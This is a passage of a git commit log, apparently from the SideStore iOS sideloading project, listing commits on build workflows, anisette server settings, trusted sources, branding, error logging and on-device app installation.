Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add pr.yml

* Add nightly suffix and build number

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add beta

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* [beta] test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Remove test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
5ede9f7c6b Remove testing logic, final changes
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
c7254fd23e Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
55fcea04af Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
c212c0a6b2 Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
a31fd6709a Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
e367fd2b73 Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
1ca67d0241 Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
8ffa952ff9 start on nightly builds
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
Joelle Stickney
da246fa30b Revert "Change default anisette server"
This reverts commit 25103c1188.
2023-01-04 08:52:59 -05:00
Joseph Mattello
13f306742e Revert "Merge pull request #189 from Nythepegasus/feature/retries"
This reverts commit 50841f5e24, reversing
changes made to d797ddd668.
2023-01-04 08:48:33 -05:00
Joelle Stickney
f3815dc45e Merge pull request #209 from SideStore/feature/deeplink_settings
Open Settings.app from SettingsVC
2023-01-01 12:33:31 -05:00
Joseph Mattello
d086254012 add button to open Settings.app in SettingsVC
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-01 12:20:08 -05:00
Spidy123222
bc4d5ba097 Fix sidestore version
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-12-30 19:07:17 -08:00
Spidy123222
c556783fe3 Bump version to 0.3.0 (#204)
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-12-30 15:48:15 -08:00
Joe Mattiello
5fba4c12aa Merge pull request #202 from SideStore/pullrequests/jawshoeadan/develop
Merge all of Riley's new error handling stuff REBASED
2022-12-30 17:10:45 -05:00
Joseph Mattello
7e0dde3ece fix 2 missing .c’s in libmobiledevice build
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 17:09:44 -05:00
Joseph Mattello
fc03e83531 fix wrong libframentzip.a link target
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 17:09:44 -05:00
Nythepegasus
4c441077c7 Add a bunch more "logging" throughout signing 2022-12-30 17:09:44 -05:00
Nythepegasus
4a5ca81e9a Show file extensions to help user choose file 2022-12-30 17:09:44 -05:00
Nythepegasus
75eebe8f8c Use right Bundle ID for AltWidget 2022-12-30 17:09:44 -05:00
Nythepegasus
271a8cdac5 Change the Bundle ID to always be SideStore 2022-12-30 17:09:44 -05:00
Nythepegasus
25103c1188 Change default anisette server 2022-12-30 17:09:44 -05:00
Nythepegasus
d81058e606 Add our own Analytics key 2022-12-30 17:09:44 -05:00
Nythepegasus
693df54b3b Change version to be 0.1.2 2022-12-30 17:09:43 -05:00
Riley Testut
ae6ed99dc4 Displays “TODAY” as section header for logged errors that occured that day 2022-12-30 17:09:15 -05:00
Riley Testut
14bd58e741 Prevents simultaneous database access from multiple AltStores
AltStore now sends a “WillAccessDatabase” notification before loading the persistent store, which causes other AltStore instances in memory to exit (either immediately, or upon returning to foreground).

This prevents multiple AltStore instances from simultaneously accessing the same database, which could result in corrupted data (especially if they used different database model versions).
2022-12-30 17:09:15 -05:00
Riley Testut
6d35a7a4ba Fixes widgets potentially not updating after refreshing apps 2022-12-30 17:09:15 -05:00
Riley Testut
46b0d1ceac Always displays PatreonViewController loading indicator when fetching patrons
Previously, we only showed the loading indicator if user had not yet cached any Friend Zone patrons.
2022-12-30 17:09:15 -05:00
Riley Testut
67a66d2fcd Fixes ErrorLogViewController’s dark mode appearance 2022-12-30 17:09:15 -05:00
Riley Testut
43e90b57ea [Apps] Updates AltStore beta to 1.6b2 2022-12-30 17:09:14 -05:00
Riley Testut
c80740e590 Updates LaunchViewController error alert to include more detail
Uses debugDescription over localizedDescription, because that makes it significantly easier to debug the underlying problem from a screenshot.
2022-12-30 17:09:14 -05:00
Riley Testut
54ccb9611e Fixes “error migrating persistent store” issue
We now set AppVersion.sourceID during migration, which fixes AppVersion entries conflicting across different Sources if multiple contain the same app + version.
2022-12-30 17:09:14 -05:00
Riley Testut
8fcb897800 [Apps] Updates AltStore beta to 1.6b1 2022-12-30 17:09:14 -05:00
Riley Testut
699eda5d1b [AltWidget] Adds “icon” style lock screen widget 2022-12-30 17:09:14 -05:00
Riley Testut
d7d0a83550 [AltWidget] Replaces ProgressRing with SwiftUI.Gauge 2022-12-30 17:09:14 -05:00
Riley Testut
e3c331c911 [AltServer] Fixes potential race condition crash when managing connections 2022-12-30 17:09:14 -05:00
Riley Testut
eda4dd6aec Updates app version to 1.6b1 2022-12-30 17:09:14 -05:00
Riley Testut
8ad7be474d Resolves AppVersion context-level conflict after migrating from Core Data model v10 2022-12-30 17:09:14 -05:00
Riley Testut
a64435f155 Migrates Core Data model from v10 to v11 2022-12-30 17:09:14 -05:00
Riley Testut
fa160124d2 Supports new “versions” key in source JSON
Allows sources to list multiple versions of an app.

Preserves backwards compatibility by assigning legacy version values when assigning AppVersions.
2022-12-30 17:09:14 -05:00
Riley Testut
5765cb8330 Adds AppVersion Core Data entity
Preserves redundant fields on StoreApp in database model for backwards compatibility.
2022-12-30 17:09:14 -05:00
Riley Testut
f472b227bb Automatically purges LoggedErrors older than one month
Occurs whenever app enters background.
2022-12-30 17:09:14 -05:00
Riley Testut
d2b419c42e Adds Error Log screen
Allows users to view a history of all errors that occured when performing app operations.
2022-12-30 17:08:49 -05:00
Riley Testut
09d4de660f Fixes CollapsingTextView incorrectly showing More button 2022-12-30 17:08:49 -05:00
Riley Testut
728dcd8523 Adds LoggedError Core Data entity
Allows us to save certain errors to disk so that they can be viewed again later from an error log.
2022-12-30 17:08:49 -05:00
Riley Testut
93cf9bf6a9 Makes AppProtocol.url optional
Allows us to create AnyApp values without a valid file URL.
2022-12-30 17:08:49 -05:00
Joe Mattiello
50841f5e24 Merge pull request #189 from Nythepegasus/feature/retries
Add various retries throughout the Rust function calls
2022-12-30 17:04:43 -05:00
Nythepegasus
fc6d92d1fc Add retries in the various minimuxer functions 2022-12-30 17:04:19 -05:00
Nythepegasus
7162a029bb Retry AFC 10 times before giving up 2022-12-30 17:04:19 -05:00
Joseph Mattello
d797ddd668 closes #93 redo of bundle id’s from .app
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 17:03:58 -05:00
Spidy123222
989e8c3aa6 Add SideKit integration (#149)
* Add a URL scheme

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Add sidestore as a scheme and fix spacing

* Undo formatting fix

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-12-30 17:03:18 -05:00
Joe Mattiello
08b79af242 Merge pull request #192 from LitRitt/new-ui-color
Change UI Color
2022-12-30 16:56:54 -05:00
LitRitt
0d2f346a30 Changes default app tint color
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-30 15:59:33 -05:00
LitRitt
39f1d5f5fd Probably does nothing but changed just in case
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-30 15:59:33 -05:00
LitRitt
05008bb7f8 Changes the color of navigations glyphs and colored text
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-30 15:59:33 -05:00
LitRitt
be90d6fc45 Changes settings highlight color
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-30 15:59:33 -05:00
LitRitt
a1bcdf9924 Change settings background color
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-30 15:59:33 -05:00
Joe Mattiello
b0e001393c Merge pull request #142 from SideStore/feature/cargo_in_xcode
Build Rust depends in XCode
2022-12-30 15:59:18 -05:00
Joseph Mattello
2d08941f6a udpate em_proxy.h
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:47:27 -05:00
Joseph Mattello
d0fef1f312 fix header paths
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:41:40 -05:00
Joseph Mattello
68342cb0d4 fix hardcoded paths in generated cargo xcodeprojs
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:28:03 -05:00
Joseph Mattello
2b419212a7 replace fragmentzip.a with xcodeproj
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:23:06 -05:00
Joseph Mattello
b2cbc7e34d github action please work
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:17:55 -05:00
Joseph Mattello
61247e575b fix build for updated submodules
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:17:47 -05:00
Joseph Mattello
31e18266d1 build.yml updates formatting and xcode ver
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 14:59:16 -05:00
Joseph Mattello
df8a8de889 update libplist to head
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 14:57:54 -05:00
Joseph Mattello
8a037d6b29 update libmobiledevice to head
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 14:57:05 -05:00
Joseph Mattello
47b555b98c project: fix wrong paths for depends
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 14:56:52 -05:00
Joseph Mattello
0c2dae475e cargo: fix github action?
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 14:49:13 -05:00
Joseph Mattello
dc676d04d8 Add rust depends to xcode build
Signed-off-by: Joseph Mattello <mail@joemattiello.com>

cargo script for action

fixes path

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

cargo.sh More robust env for xcode cli

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

rust: add xcode projs made with cargo-xcode

Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 13:21:57 -05:00
Joelle Stickney
15b54bff50 Merge pull request #201 from SideStore/Add-Community-Store-Trust
Add Community store to Trusted Sources
2022-12-29 01:09:51 -05:00
Spidy123222
47bd4b4c0b Update trustedapps.json
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-12-28 23:50:24 -05:00
Joelle Stickney
3c8b36ddfe Merge pull request #200 from SideStore/Add-Yattee-Source
Add Yattee to trusted sources
2022-12-25 05:42:05 -05:00
Spidy123222
608df3fddd Add Yattee to trusted sources
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-12-25 02:22:06 -08:00
Joelle Stickney
c092c285ee Removed Jackson from CODEOWNERS
Due to his two year mission trip and the fact he, as an codeowner, gets added to SideStore issues / PRs automatically, it seemed best to remove him atm.
2022-12-24 18:19:17 -05:00
Joelle Stickney
93b745e379 More credit adjustments 2022-12-24 17:19:55 -05:00
Joelle Stickney
c18db77ade Turn off all background refresh notifications
This removes all background refresh notifications but keeps the "Reminder to open SideStore every so often", and the "x app expires soon" local push notifications.
2022-12-19 23:26:15 -05:00
Joelle Stickney
2c0b167e6b Adjusted credits 2022-12-19 07:36:44 -05:00
Joelle Stickney
313254d0c8 Credit text changes 2022-12-19 06:40:10 -05:00
f1shy-dev
6f519c97d3 Fix .mobiledevicepairing files (#186)
* Fix .mobiledevicepairing file selection and also add support for .xml pairing files

* Add a more meaningful message for when pairing file selection is cancelled.
2022-12-17 14:13:53 -07:00
LitRitt
17a3e16b1d Change browse icon (#188)
Now matches new icon

Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>

Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-17 14:13:38 -07:00
Joseph Mattello
8199358088 Info.plist add LSSupportsOpeningDocumentsInPlace 1
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 04:29:10 -05:00
Joseph Mattello
412928eeaa AltWidget version set to $(MARKETING_VERSION)
fixes xcode warning that version of app and extension don’t match

Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 04:28:53 -05:00
Joseph Mattello
51e1b935bd fix 3 more style .white deprecations to .medium
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 03:13:30 -05:00
Joseph Mattello
742b51e5e2 fix deprecated style .white to .medium
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 03:12:13 -05:00
Joseph Mattello
fdb5e2eebb fix xcode warning
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 03:11:22 -05:00
Joseph Mattello
0192f64cd2 Add AltStore Release scheme
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 03:10:45 -05:00
Joseph Mattello
193298ac87 fix crash for missing patreon images
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 03:10:28 -05:00
Joe Mattiello
a81cb81799 Merge pull request #181 from LitRitt/change-designer
Update app icon and designer
2022-12-11 21:56:58 -05:00
LitRitt
ad8a7fdc9b Update Settings.storyboard
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-11 15:54:18 -08:00
LitRitt
5440afcebe Update SettingsViewController.swift
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-11 15:54:18 -08:00
LitRitt
715d7e664c Update App Icon
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-11 15:54:18 -08:00
jawshoeadan
aa182cfa68 Merge pull request #179 from jawshoeadan/beta-apps
Fix beta apps on the my apps view, and fix deactivating/activating apps
2022-12-11 16:43:46 -06:00
Jawshoeadan
f92dd7a872 Remove all restrictions based on Patreon account (hopefully) 2022-12-11 15:41:43 -06:00
Jawshoeadan
b02b9197d0 Fix beta apps on the my apps view, and fix deactivating/activating apps 2022-12-08 19:24:28 -06:00
Jawshoeadan
86d02be70c Remove Patreon check to show beta apps in store view 2022-12-08 10:28:34 -06:00
Spidy123222
cb990978ee add pokemmo into trusted sources. (#176) 2022-12-07 16:36:17 -08:00
Joshua Laymon
a103202c92 Merge pull request #171 from bogotesr/settings
Better anisette settings
2022-12-05 11:39:08 -07:00
bogotesr
9d7b133037 Add crystal's server 2022-12-04 15:43:08 -07:00
bogotesr
f727f2a1a9 describe what the toggle does 2022-12-03 21:19:31 -07:00
bogotesr
03034768d9 Better anisette settings
adds multivalue selector for some anisette servers
2022-12-03 13:48:33 -07:00
Joe Mattiello
aed3e20e08 Merge pull request #164 from SideStore/update-em-submodules 2022-12-01 20:02:04 -05:00
JJTech0130
74bac6d986 update em_proxy and minimuxer submodules 2022-11-30 18:17:01 -05:00
Fabian Thies
7ebecc353a Add missing App Permission Types (#159)
* Add missing app permission types

* Remove old unused icons for photos, background fetch and background audio permission types

* Add missing icons for contacts and reminders permission types

* Add missing camera permission icon and name

* Switch permission icons to filled versions for a more cohesive look
2022-11-29 06:30:51 -07:00
Jackson Coxson
f0302b0d1e Add an issue template (#157)
Update issue templates
2022-11-26 19:34:52 -07:00
Spidy123222
0b004ad089 Update app.json
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-22 21:54:37 -08:00
Joe Mattiello
c9001f068b Merge pull request #143 from SideStore/feature/fix_xcconfig_widget 2022-11-23 00:01:33 -05:00
Joseph Mattello
96e0554aae Fix xcconfig vars for widget
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-22 23:06:45 -05:00
Joe Mattiello
31b4aadaba Merge pull request #141 from SideStore/Version
Bump version to 0.1.1
2022-11-22 22:22:49 -05:00
Spidy123222
f46fa5392a Change wording.
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-22 22:20:37 -05:00
Spidy123222
3b6a17f193 For old client give message update
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-22 22:20:37 -05:00
Spidy123222
aea77d3b8c Update project.pbxproj
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-22 22:20:37 -05:00
Spidy123222
7cfbe077db Update Build.xcconfig
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-22 22:20:37 -05:00
Joe Mattiello
7bb620f941 Merge pull request #122 from SideStore/pullrequests/bogotesr/develop
Rebase of #62
2022-11-22 22:18:10 -05:00
Joseph Mattello
5b0341a733 Add TODO notes for PR #122 notes
what to do with patreon table view and url

Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-22 22:16:56 -05:00
Joshua Laymon
d99225da1f Add files via upload
Signed-off-by: Joshua Laymon <71040782+bogotesr@users.noreply.github.com>
2022-11-22 22:16:56 -05:00
Spidy123222
f279180a37 Update AltStore.xcconfig
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-22 22:16:56 -05:00
Spidy123222
9a22018477 Try fixing compile error
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-22 22:16:56 -05:00
Spidy123222
197119e56d Remove mention of sideserver in app 2022-11-22 22:16:56 -05:00
Joe Mattiello
dd055ddc5d Merge pull request #45 from SideStore/feature/noserver
Remove SideServer from monorepo
2022-11-22 22:06:30 -05:00
Joseph Mattello
94c3277245 Remove Server from xcode proj
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-22 21:35:34 -05:00
Joseph Mattello
fdaf402472 Remove Server files/folders
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-22 10:13:23 -05:00
Joe Mattiello
bce7764f75 Merge pull request #127 from SideStore/pullrequests/jkcoxson/develop
Anisette URL - Pullrequests/jkcoxson/develop
2022-11-22 10:11:51 -05:00
Joseph Mattello
70a258aae2 AnisetteManager UserDefaults.standard from .shared
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 21:24:40 -05:00
Joseph Mattello
77cf00e8e4 info.plst add mobiledevicepairing imported type
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Joseph Mattello
de05579d1f Remove customAnisetteURL empty string default
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Joseph Mattello
c7d4b722d0 refactor anisette manager to own file
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Joseph Mattello
02b837c54b Settings.bundle group and text type URL
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Joseph Mattello
50e0e88cc2 ORGANIZATIONNAME to SideStore
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Joseph Mattello
c34245ff21 FetchAnisetteDataOperation.swift fix url reading
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Joseph Mattello
f1a8334f59 OSLog+SideStore fix staticstring
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Joseph Mattello
c8fc4ea500 AltStore scheme XCode auto edits
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Joseph Mattello
39805bc103 Anisette URL fix missing abort
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Joseph Mattello
2c615682df OSLog+SideStore update copyright
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Joseph Mattello
1257e4efac Anisette URL convenience methods and logging
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-21 20:54:55 -05:00
Jackson Coxson
5e4a21087e Remove customAnisetteURL from default Info.plist 2022-11-21 20:54:55 -05:00
Jackson Coxson
2aaef99a54 Choose a pairing file at runtime 2022-11-21 20:54:55 -05:00
Jackson Coxson
161d3a795d Add settings bundle 2022-11-21 20:54:55 -05:00
Jackson Coxson
9b671cb1a9 Add default fields for custom anisette 2022-11-21 20:54:55 -05:00
Jackson Coxson
07d9a9f2c3 Set anisette URL from plist value 2022-11-21 20:54:55 -05:00
Spidy123222
efabe7f536 Reorder trusted sources
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-21 20:24:57 -05:00
Joe Mattiello
82aead976e Merge pull request #128 from Spidy123222/Fix/signing-bundleid
Fix Refreshing sidestore and staging error.
2022-11-18 21:25:42 -05:00
Spidy123222
17be52c7b6 Fix refreshing to use normal bundleid
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-17 18:16:21 -08:00
Spidy123222
d0a196ec40 Update Bundle+AltStore.swift
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-17 17:08:58 -08:00
Spidy123222
d484de185d Update AltStore.xcconfig
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-17 17:08:11 -08:00
Spidy123222
96e4e7a4e8 Update Build.xcconfig
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-17 17:07:48 -08:00
jawshoeadan
4adb34b959 Update README to include Rust specific build instructions (#124)
Update README.md

Signed-off-by: jawshoeadan <62785552+jawshoeadan@users.noreply.github.com>

Signed-off-by: jawshoeadan <62785552+jawshoeadan@users.noreply.github.com>
2022-11-16 14:14:41 -07:00
Spidy123222
819bc12a68 Change version on to reflect being pre-release (#123)
* Change source url and version in app.json

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Change app.json to reflect SideStore/apps.json

* Change the source to be future default

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
Co-authored-by: Nythepegasus <nythepegasus84@gmail.com>
2022-11-15 22:23:30 -07:00
Jackson Coxson
eb23e5365f Show error message when pairing file is missing (#118)
* Show alert on startup error

* Call super to load normal view
2022-11-13 18:40:33 -07:00
Joe Mattiello
84e2faf8a8 [#102][#101] Loading view error handling, Load pairingfile from docs, bundle, plist (#112)
* refs #102 load pairingfile from docs, bundle,plist

tries Documents/ALTPairingFile.plist, then app bundle resources ALTPairingFile.plist, finally Info.plist with non default value

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

* refs #102 change plist to mobiledevicepairing

fixes xcode compiling .plist resources

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-08 12:15:09 -07:00
Joe Mattiello
84f58efc17 Add .editorconfig file (#109)
Signed-off-by: Joseph Mattello <mail@joemattiello.com>

Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-08 12:10:39 -07:00
Joe Mattiello
42254ee4a1 Add github CODEOWNERS file (#108)
* Add .github/CODEOWNERS

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

* Edit CODEOWNERS add jkcoxson

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-08 12:09:47 -07:00
Joe Mattiello
7c564aed7a Create Makefile (#99)
* add Makefile

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

* Makefile fix leftover test code

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-11-08 12:09:33 -07:00
Spidy123222
8cdcb29274 Change version to 1.0.0 (#96)
* Change app list to 1.0.0

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Change build version.

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* change more to 1.0.0

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-06 01:38:43 -06:00
Joshua Laymon
403a369df9 Match branding some more (#72)
* change app name to SideStore
* Make it P U R P L E
* Fix actions for branding
* Change patreon description in settings
* Update RefreshAttemptsViewController.swift
* Update LaunchViewController.swift
* Update some of Credits
* Fix space
* More Branding fixes
* Change How it Works to have better wording.
* Change Branding for source and bundle
* Get the Rest of the Branding and popup naming fixes
* Welcome to SiteStore
* Update instructions to not include sideserver 

This removes sideserver fro the instructions on how it works as sideServer in background of a computer so far isn’t needed.
* Remove mention of sideserver in the app
* SideStore error Message instead of AltServer
* some adjustments
* forgot to add this in the last commit
* Try fixing compile error
* Spell correct of last commit
* Fix Requested changes 11/5/2022

Signed-off-by: bogotesr <71040782+bogotesr@users.noreply.github.com>
Co-authored-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-05 23:50:07 -07:00
Spidy123222
5527912cd1 Fix secret tunnel header to em proxy
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-05 16:17:23 -07:00
JJTech
c8531dfe37 Update README.md (#90)
* Update README.md

Signed-off-by: JJTech <jjtech@jjtech.dev>

* Add minimuxer to list of libraries in read

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Change wording for minimuxer

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Change Secret tunnel to be em-proxy and add detail

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

Signed-off-by: JJTech <jjtech@jjtech.dev>
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
Co-authored-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-05 16:53:09 -06:00
Spidy123222
ed8bb2e5a1 Add pojavlauncher to trusted sources (#107)
* Add Pojavlauncher source

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Update trustedapps.json

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Update trustedapps.json

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Update FetchTrustedSourcesOperation.swift

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Update trustedapps.json

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Update FetchTrustedSourcesOperation.swift

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-05 16:50:35 -06:00
Jackson Coxson
dd66355488 Implement emotional damage (#95)
* Implement em_proxy

* Update libimobiledevice

* Add minimuxer library to Xcode

* Build missing C files for libimobiledevice

* Remove objective C library

* Add pairing file to Info.plist

* Heartbeat self on startup

* Enable JIT on-device

* Implement on-device installation

* Fix OpenSSL header errors

* Random submodule bullcrap go

* Search release folder for emotional damage

* Clean dependencies

* Build Rust dependencies attempt 1/999

* Update em_proxy

* Implement refreshing apps

* Clean up old operations

* Remove all AltServer code

* Remove files from Xcode project

* Implement auto mounting the developer DMG

* Recover from app being backgrounded

* Fixed keeping pairing file in app after updating SideStore (#3)

* Use compliant error handling for minimuxer

* Fix app failing to install

* Don't kill proxy on backgrounding

* Makes sure the ALTPairingFile gets transferred even if team IDs change (#4)

* Step 1 to allow SideStore to resign itself

* Update ResignAppOperation.swift

* Adding cache for action runner (#5)

* Start caching commit for actions

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Update build.yml

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Update build.yml

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Use rust lib directories to cache

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Cache cargo also

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Fix spacing

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Replace cargo id for caching

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Remove cache if statements

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Add disconnected WireGuard detection

* Add minimuxer logging

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
Co-authored-by: jawshoeadan <62785552+jawshoeadan@users.noreply.github.com>
Co-authored-by: Joelle Stickney <joellestickney@gmail.com>
Co-authored-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-02 18:58:59 -06:00
Joshua Laymon
fc3f83231c Use a custom default source for SideStore (#71)
